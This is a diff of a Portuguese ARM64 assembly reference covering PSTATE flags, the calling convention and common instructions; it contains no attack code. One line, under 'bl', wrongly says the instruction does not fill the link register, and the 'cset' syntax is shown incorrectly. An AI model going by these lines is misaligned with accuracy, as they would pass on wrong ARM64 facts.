+Eles são frequentemente usados para armazenar o **endereço base do thread-local storage** na memória. Normalmente o primeiro é legível e gravável por programas rodando em EL0, mas o segundo pode ser lido de EL0 e escrito a partir de EL1 (como o kernel).
 
-- `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0`
-- `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0`
+- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
+- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão** **da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
+**PSTATE** contém vários componentes do processo serializados no registrador especial visível ao sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão da exceção disparada** (isso permite recuperar o estado do processo quando a exceção termina).\
 Estes são os campos acessíveis:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
 - As flags de condição **`N`**, **`Z`**, **`C`** e **`V`**:
-- **`N`** significa que a operação resultou em um resultado negativo.
-- **`Z`** significa que a operação resultou em zero.
-- **`C`** significa que a operação teve carry.
-- **`V`** significa que a operação resultou em um overflow assinado:
-- A soma de dois números positivos resulta em um número negativo.
-- A soma de dois números negativos resulta em um número positivo.
-- Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
-- Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu um carry no caso de ser assinado ou não assinado.
+- **`N`** significa que a operação produziu um resultado negativo
+- **`Z`** significa que a operação produziu zero
+- **`C`** significa que a operação gerou carry
+- **`V`** significa que a operação gerou um overflow em números com sinal:
+- A soma de dois números positivos produz um resultado negativo.
+- A soma de dois números negativos produz um resultado positivo.
+- Na subtração, quando um grande número negativo é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
+- Obviamente o processador não sabe se a operação é com sinal ou não, então ele checará C e V nas operações e indicará se ocorreu um carry no caso de ser signed ou unsigned.
 
 > [!WARNING]
-> Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
+> Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm sufixo s como **`ADDS`** também o fazem.
 
-- A flag de **largura do registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado.
-- O **Nível de Exceção** (**`EL`**): Um programa regular rodando em EL0 terá o valor 0.
-- A flag de **passo único** (**`SS`**): Usada por depuradores para passo único, definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
-- A flag de estado de exceção **ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, esta flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
-- As flags **`DAIF`**: Essas flags permitem que um programa privilegiado oculte seletivamente certas exceções externas.
-- Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
-- As flags de seleção do ponteiro de pilha (**`SPS`**): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
+- A flag de **largura atual do registrador (`nRW`)**: Se a flag tiver valor 0, o programa irá rodar no estado de execução AArch64 quando for retomado.
+- O **Exception Level** atual (**`EL`**): Um programa regular rodando em EL0 terá o valor 0
+- A flag de **single stepping** (**`SS`**): Usada por debuggers para single step ao configurar a flag SS para 1 dentro de **`SPSR_ELx`** via uma exceção. O programa executará um passo e gerará uma exceção de single step.
+- A flag de **estado de exceção ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida; essa flag é setada para 1 e o processador dispara uma illegal state exception.
+- As flags **`DAIF`**: Essas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas.
+- Se **`A`** for 1 significa que **asynchronous aborts** serão acionados. O **`I`** configura a resposta a **Interrupt Requests** externos (IRQs). e o F está relacionado a **Fast Interrupt Requests** (FIRs).
+- As flags de **seleção do stack pointer** (**`SPS`**): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador stack pointer e o do modo usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
 
-## **Convenção de Chamada (ARM64v8)**
+## **Calling Convention (ARM64v8)**
 
-A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for 128 bits longo**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
+A calling convention do ARM64 especifica que os **oito primeiros parâmetros** para uma função são passados nos registradores **`x0` até `x7`**. Parâmetros **adicionais** são passados na **stack**. O valor de **retorno** é passado de volta no registrador **`x0`**, ou também em **`x1`** se for **128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** através de chamadas de função.
 
-Ao ler uma função em assembly, procure pelo **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
+Ao ler uma função em assembly, procure pelo **prologue e epilogue da função**. O **prologue** geralmente envolve **salvar o frame pointer (`x29`)**, **configurar** um **novo frame pointer**, e **alocar espaço na stack**. O **epilogue** geralmente envolve **restaurar o frame pointer salvo** e **retornar** da função.
 
-### Convenção de Chamada em Swift
+### Calling Convention em Swift
 
-Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
+Swift tem sua própria **calling convention** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
 
 ## **Instruções Comuns (ARM64v8)**
 
-As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados no lugar de registradores de origem.
+Instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o registrador de **destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os registradores **origem**. Valores imediatos também podem ser usados no lugar de registradores fonte.
 
-- **`mov`**: **Mover** um valor de um **registrador** para outro.
-- Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`.
-- **`ldr`**: **Carregar** um valor da **memória** para um **registrador**.
-- Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`.
-- **Modo de deslocamento**: Um deslocamento que afeta o ponteiro de origem é indicado, por exemplo:
-- `ldr x2, [x1, #8]`, isso carregará em x2 o valor de x1 + 8.
-- `ldr x2, [x0, x1, lsl #2]`, isso carregará em x2 um objeto do array x0, da posição x1 (índice) \* 4.
-- **Modo pré-indexado**: Isso aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem.
-- `ldr x2, [x1, #8]!`, isso carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8`.
-- `str lr, [sp, #-4]!`, Armazena o registrador de link em sp e atualiza o registrador sp.
-- **Modo pós-indexado**: Isso é como o anterior, mas o endereço de memória é acessado e então o deslocamento é calculado e armazenado.
-- `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`.
-- **Endereçamento relativo ao PC**: Neste caso, o endereço a ser carregado é calculado em relação ao registrador PC.
-- `ldr x1, =_start`, Isso carregará o endereço onde o símbolo `_start` começa em x1 relacionado ao PC atual.
-- **`str`**: **Armazenar** um valor de um **registrador** na **memória**.
-- Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`.
-- **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registradores** de **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
-- Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
-- **`stp`**: **Armazenar Par de Registradores**. Esta instrução **armazena dois registradores** em **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
-- Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respectivamente.
-- `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`.
-- **`add`**: **Adicionar** os valores de dois registradores e armazenar o resultado em um registrador.
+- **`mov`**: **Move** um valor de um **registrador** para outro.
+- Exemplo: `mov x0, x1` — Move o valor de `x1` para `x0`.
+- **`ldr`**: **Load** um valor da **memória** para um **registrador**.
+- Exemplo: `ldr x0, [x1]` — Carrega um valor da localização de memória apontada por `x1` em `x0`.
+- **Modo offset**: Um offset afetando o ponteiro de origem é indicado, por exemplo:
+- `ldr x2, [x1, #8]`, isto carregará em x2 o valor de x1 + 8
+- `ldr x2, [x0, x1, lsl #2]`, isto carregará em x2 um objeto do array x0, da posição x1 (index) * 4
+- **Modo pré-indexado**: Isto aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem.
+- `ldr x2, [x1, #8]!`, isto carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8`
+- `str lr, [sp, #-4]!`, Armazena o link register em sp e atualiza o registrador sp
+- **Modo post-index**: Isto é como o anterior, mas o endereço de memória é acessado e então o offset é calculado e armazenado.
+- `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`
+- **Endereçamento relativo ao PC**: Neste caso o endereço a ser carregado é calculado relativo ao registrador PC
+- `ldr x1, =_start`, Isto carregará em x1 o endereço onde o símbolo `_start` começa relacionado ao PC atual.
+- **`str`**: **Store** um valor de um **registrador** para a **memória**.
+- Exemplo: `str x0, [x1]` — Armazena o valor em `x0` na localização de memória apontada por `x1`.
+- **`ldp`**: **Load Pair of Registers**. Esta instrução **carrega dois registradores** de **localizações de memória consecutivas**. O endereço de memória é tipicamente formado adicionando um offset ao valor em outro registrador.
+- Exemplo: `ldp x0, x1, [x2]` — Carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
+- **`stp`**: **Store Pair of Registers**. Esta instrução **armazena dois registradores** em **localizações de memória consecutivas**. O endereço de memória é tipicamente formado adicionando um offset ao valor em outro registrador.
+- Exemplo: `stp x0, x1, [sp]` — Armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respectivamente.
+- `stp x0, x1, [sp, #16]!` — Armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`.
+- **`add`**: **Soma** os valores de dois registradores e armazena o resultado em um registrador.
 - Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
 - Xn1 -> Destino
 - Xn2 -> Operando 1
 - Xn3 | #imm -> Operando 2 (registrador ou imediato)
-- \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX
-- Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` juntos e armazena o resultado em `x0`.
-- `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000.
-- **`adds`** Isso realiza um `add` e atualiza as flags.
-- **`sub`**: **Subtrair** os valores de dois registradores e armazenar o resultado em um registrador.
-- Verifique a **`sintaxe`** de **`add`**.
-- Exemplo: `sub x0, x1, x2` — Isso subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`.
-- **`subs`** Isso é como sub, mas atualiza a flag.
-- **`mul`**: **Multiplicar** os valores de **dois registradores** e armazenar o resultado em um registrador.
-- Exemplo: `mul x0, x1, x2` — Isso multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`.
-- **`div`**: **Dividir** o valor de um registrador por outro e armazenar o resultado em um registrador.
-- Exemplo: `div x0, x1, x2` — Isso divide o valor em `x1` por `x2` e armazena o resultado em `x0`.
+- \[shift #N | RRX] -> Realiza um shift ou chama RRX
+- Exemplo: `add x0, x1, x2` — Soma os valores em `x1` e `x2` e armazena o resultado em `x0`.
+- `add x5, x5, #1, lsl #12` — Isso equivale a 4096 (um 1 shiftado 12 vezes) -> 1 0000 0000 0000 0000
+- **`adds`**: Isto executa um `add` e atualiza as flags
+- **`sub`**: **Subtrai** os valores de dois registradores e armazena o resultado em um registrador.
+- Veja a **sintaxe** de **`add`**.
+- Exemplo: `sub x0, x1, x2` — Subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`.
+- **`subs`**: Isto é como `sub` mas atualizando as flags
+- **`mul`**: **Multiplica** os valores de **dois registradores** e armazena o resultado em um registrador.
+- Exemplo: `mul x0, x1, x2` — Multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`.
+- **`div`**: **Divide** o valor de um registrador por outro e armazena o resultado em um registrador.
+- Exemplo: `div x0, x1, x2` — Divide o valor em `x1` por `x2` e armazena o resultado em `x0`.
 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
-- **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica por n vezes 2).
-- **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide por n vezes 2 em não assinado).
-- **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s, se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado).
-- **Rotacionar à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda.
-- **Rotacionar à Direita com Extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
-- **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam nas posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**.
-- Movimento de campo de bits: `BFM Xd, Xn, #r`.
-- Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`.
-- Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`.
-- **Extração e Inserção de Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
-- **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1.
-- **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1.
-- **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
-- **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, estende o sinal e coloca o resultado em X1.
-- **`UBFIZ X1, X2, #3, #4`** Estende 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
-- **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado estendido a zero em X1.
-- **Extensão de Sinal para X:** Estende o sinal (ou adiciona apenas 0s na versão não assinada) de um valor para poder realizar operações com ele:
-- **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits.
-- **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits.
-- **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits.
-- **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits.
-- **`extr`:** Extrai bits de um **par de registradores especificados concatenados**.
-- Exemplo: `EXTR W3, W2, W1, #3` Isso irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazená-lo em W3.
-- **`cmp`**: **Comparar** dois registradores e definir flags de condição. É um **alias de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`.
-- Suporta a **mesma sintaxe que `subs`**.
-- Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição de acordo.
-- **`cmn`**: **Comparar o operando negativo**. Neste caso, é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`.
-- **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior foi verdadeira e definirá especificamente os bits nzcv.
-- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salte para func.
-- Isso ocorre porque **`ccmp`** só será executado se a **comparação anterior `cmp` foi um `NE`**, se não foi, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
-- Isso também pode ser usado como `ccmn` (o mesmo, mas negativo, como `cmp` vs `cmn`).
-- **`tst`**: Verifica se algum dos valores da comparação é 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registrador com um valor e verificar se algum dos bits do registrador indicado no valor é 1.
-- Exemplo: `tst X1, #7` Verifica se algum dos últimos 3 bits de X1 é 1.
-- **`teq`**: Operação XOR descartando o resultado.
-- **`b`**: Branch incondicional.
-- Exemplo: `b myFunction`.
-- Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar).
-- **`bl`**: **Branch** com link, usado para **chamar** uma **sub-rotina**. Armazena o **endereço de retorno em `x30`**.
-- Exemplo: `bl myFunction` — Isso chama a função `myFunction` e armazena o endereço de retorno em `x30`.
-- Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar).
-- **`blr`**: **Branch** com Link para Registrador, usado para **chamar** uma **sub-rotina** onde o alvo é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Isso é
-- Exemplo: `blr x1` — Isso chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`.
-- **`ret`**: **Retornar** da **sub-rotina**, tipicamente usando o endereço em **`x30`**.
-- Exemplo: `ret` — Isso retorna da sub-rotina atual usando o endereço de retorno em `x30`.
-- **`b.<cond>`**: Branches condicionais.
+- **Logical shift left**: Adiciona 0s no final movendo os outros bits para frente (multiplica por 2^n)
+- **Logical shift right**: Adiciona 0s no início movendo os outros bits para trás (divide por 2^n em unsigned)
+- **Arithmetic shift right**: Como **`lsr`**, mas em vez de adicionar 0s se o bit mais significativo for 1, **1s são adicionados** (divide por 2^n em signed)
+- **Rotate right**: Como **`lsr`** mas o que é removido da direita é anexado à esquerda
+- **Rotate Right with Extend**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim a flag de carry é movida para o bit 31 e o bit removido vai para a flag de carry.
+- **`bfm`**: **Bit Filed Move**, essas operações **copiam bits `0...n`** de um valor e os colocam nas posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotate right**.
+- Bitfield move: `BFM Xd, Xn, #r`
+- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
+- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
+- **Bitfield Extract e Insert:** Copia um bitfield de um registrador e o copia para outro registrador.
+- **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do bit 3 em X1
+- **`BFXIL X1, X2, #3, #4`** Extrai do bit 3 de X2 quatro bits e os copia para X1
+- **`SBFIZ X1, X2, #3, #4`** Sign-extends 4 bits de X2 e os insere em X1 começando na posição de bit 3 zerando os bits à direita
+- **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, faz sign extend e coloca o resultado em X1
+- **`UBFIZ X1, X2, #3, #4`** Zero-extends 4 bits de X2 e os insere em X1 começando na posição de bit 3 zerando os bits à direita
+- **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado zero-extend em X1.
+- **Sign Extend To X:** Estende o sinal (ou adiciona apenas 0s na versão unsigned) de um valor para poder realizar operações com ele:
+- **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits
+- **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits
+- **`SXTW X1, W2`** Estende o sinal de um valor de 32 bits **de W2 para X1** para preencher os 64 bits
+- **`UXTB X1, W2`** Adiciona 0s (unsigned) a um byte **de W2 para X1** para preencher os 64 bits
+- **`extr`**: Extrai bits de um **par especificado de registradores concatenados**.
+- Exemplo: `EXTR W3, W2, W1, #3` Isto irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazenar em W3.
+- **`cmp`**: **Compara** dois registradores e seta flags de condição. É um **alias de `subs`** configurando o registrador de destino para o registrador zero. Útil para saber se `m == n`.
+- Suporta a **mesma sintaxe de `subs`**
+- Exemplo: `cmp x0, x1` — Compara os valores em `x0` e `x1` e ajusta as flags de condição adequadamente.
+- **`cmn`**: **Compare negative** operando. Neste caso é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`.
+- **`ccmp`**: Comparação condicional, é uma comparação que será executada apenas se uma comparação anterior foi verdadeira e irá especificamente setar bits nzcv.
+- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta para func
+- Isso porque **`ccmp`** será executado apenas se o **`cmp`** anterior tiver sido `NE`; se não for, os bits `nzcv` serão setados para 0 (o que não satisfará a comparação `blt`).
+- Isto também pode ser usado como `ccmn` (mesmo mas negativo, como `cmp` vs `cmn`).
+- **`tst`**: Verifica se algum dos valores da comparação tem bits em comum a 1 (funciona como um ANDS sem armazenar o resultado em lugar nenhum). É útil para checar um registrador com um valor e verificar se algum dos bits do registrador indicado pelo valor é 1.
+- Exemplo: `tst X1, #7` Checa se algum dos últimos 3 bits de X1 é 1
+- **`teq`**: Operação XOR descartando o resultado
+- **`b`**: Branch incondicional
+- Exemplo: `b myFunction`
+- Note que isto não preencherá o link register com o endereço de retorno (não é adequado para chamadas de subrotina que precisam retornar)
+- **`bl`**: **Branch** com link, usado para **chamar** uma **subrotina**. Armazena o **endereço de retorno em `x30`**.
+- Exemplo: `bl myFunction` — Chama a função `myFunction` e armazena o endereço de retorno em `x30`.
+- Note que isto não preencherá o link register com o endereço de retorno (não é adequado para subrotinas que precisam retornar)
+- **`blr`**: **Branch** com Link para registrador, usado para **chamar** uma **subrotina** onde o destino é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Isto é
+- Exemplo: `blr x1` — Chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`.
+- **`ret`**: **Retorna** de uma **subrotina**, tipicamente usando o endereço em **`x30`**.
+- Exemplo: `ret` — Retorna da subrotina atual usando o endereço de retorno em `x30`.
+- **`b.<cond>`**: Branches condicionais
 - **`b.eq`**: **Branch se igual**, baseado na instrução `cmp` anterior.
-- Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`.
-- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não foram iguais, ela salta para um rótulo ou endereço.
-- Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1 não foram iguais, isso salta para `label`.
-- **`cbz`**: **Comparar e Branch se Zero**. Esta instrução compara um registrador com zero, e se forem iguais, salta para um rótulo ou endereço.
-- Exemplo: `cbz x0, label` — Se o valor em `x0` é zero, isso salta para `label`.
-- **`cbnz`**: **Comparar e Branch se Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, salta para um rótulo ou endereço.
-- Exemplo: `cbnz x0, label` — Se o valor em `x0` não é zero, isso salta para `label`.
-- **`tbnz`**: Testa o bit e salta se não zero.
-- Exemplo: `tbnz x0, #8, label`.
-- **`tbz`**: Testa o bit e salta se zero.
-- Exemplo: `tbz x0, #8, label`.
+- Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isto salta para `label`.
+- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram setadas por uma instrução de comparação anterior), e se os valores comparados não foram iguais, ela faz branch para um label ou endereço.
+- Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1` não foram iguais, isto salta para `label`.
+- **`cbz`**: **Compare and Branch on Zero**. Esta instrução compara um registrador com zero, e se forem iguais, faz branch para um label ou endereço.
+- Exemplo: `cbz x0, label` — Se o valor em `x0` é zero, isto salta para `label`.
+- **`cbnz`**: **Compare and Branch on Non-Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, faz branch para um label ou endereço.
+- Exemplo: `cbnz x0, label` — Se o valor em `x0` é não-zero, isto salta para `label`.
+- **`tbnz`**: Testa bit e faz branch se não-zero
+- Exemplo: `tbnz x0, #8, label`
+- **`tbz`**: Testa bit e faz branch se zero
+- Exemplo: `tbz x0, #8, label`
 - **Operações de seleção condicional**: Estas são operações cujo comportamento varia dependendo dos bits condicionais.
-- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2.
-- `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1.
-- `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn.
-- `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm).
-- `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn.
-- `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm.
-- `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn.
-- `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0.
-- `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \<todos 1>, se falso, Xd = 0.
-- **`adrp`**: Computa o **endereço da página de um símbolo** e o armazena em um registrador.
-- Exemplo: `adrp x0, symbol` — Isso computa o endereço da página de `symbol` e o armazena em `x0`.
-- **`ldrsw`**: **Carregar** um valor **32 bits** assinado da memória e **estendê-lo para 64** bits.
-- Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende-o para 64 bits e o armazena em `x0`.
-- **`stur`**: **Armazenar um valor de registrador em uma localização de memória**, usando um deslocamento de outro registrador.
-- Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que é 4 bytes maior do que o endereço atualmente em `x1`.
-- **`svc`** : Fazer uma **chamada de sistema**. Significa "Chamada de Supervisor". Quando o processador executa esta instrução, ele **muda do modo de usuário para o modo de kernel** e salta para um local específico na memória onde o **código de manipulação de chamadas de sistema do kernel** está localizado.
+- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2
+- `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1
+- `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn
+- `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm)
+- `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn
+- `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm
+- `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn
+- `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0
+- `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \<all 1>, se falso, Xd = 0
+- **`adrp`**: Calcula o **endereço de página de um símbolo** e armazena em um registrador.
+- Exemplo: `adrp x0, symbol` — Calcula o endereço de página de `symbol` e armazena em `x0`.
+- **`ldrsw`**: **Load** um valor signed de **32-bit** da memória e **sign-extend para 64** bits.
+- Exemplo: `ldrsw x0, [x1]` — Carrega um valor signed de 32 bits da localização de memória apontada por `x1`, sign-extends para 64 bits, e armazena em `x0`.
+- **`stur`**: **Armazena** o valor de um registrador em uma localização de memória, usando um offset a partir de outro registrador.
+- Exemplo: `stur x0, [x1, #4]` — Armazena o valor em `x0` no endereço de memória que é 4 bytes maior que o endereço atualmente em `x1`.
+- **`svc`** : Faz uma **system call**. Significa "Supervisor Call". Quando o processador executa esta instrução, ele **troca de user mode para kernel mode** e pula para uma localização específica na memória onde o **código de tratamento de system call do kernel** está localizado.
 
 - Exemplo:
 
 ```armasm
